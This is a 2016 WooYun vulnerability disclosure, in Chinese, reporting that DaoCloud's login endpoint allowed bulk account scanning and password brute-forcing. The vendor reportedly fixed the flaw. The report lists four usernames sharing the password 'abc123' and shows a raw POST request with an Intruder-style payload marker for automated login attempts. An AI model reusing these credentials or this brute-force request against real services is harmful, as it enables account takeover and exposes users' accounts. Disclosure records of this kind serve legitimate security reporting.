WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0223453

漏洞标题：DaoCloud可批量扫号/可破解/附账号密码

相关厂商：daocloud.io

漏洞作者： UltraEdit

提交时间：2016-06-28 03:18

修复时间：2016-06-28 10:28

公开时间：2016-06-28 10:28

漏洞类型：账户体系控制不严

危害等级：中

自评Rank：10

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2016-06-28： 细节已通知厂商并且等待厂商处理中
2016-06-28： 厂商已经确认，细节仅向厂商公开
2016-06-28： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

DaoCloud可批量扫号,可破解,附账号密码

详细说明：

https://account.daocloud.io/signin

账号:just密码:abc123
账号:kane密码:abc123
账号:novice密码:abc123
账号:snoopy密码:abc123

漏洞证明：

POST /access-token HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Referer: https://account.daocloud.io/signin
Accept-Language: zh-CN
Origin: https://account.daocloud.io
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Host: api.daocloud.io
Content-Length: 51
Connection: close
Cache-Control: no-cache
{"email_or_mobile":"§Wooyun§","password":"abc123"}

修复方案：

版权声明：转载请注明来源 UltraEdit@乌云

漏洞回应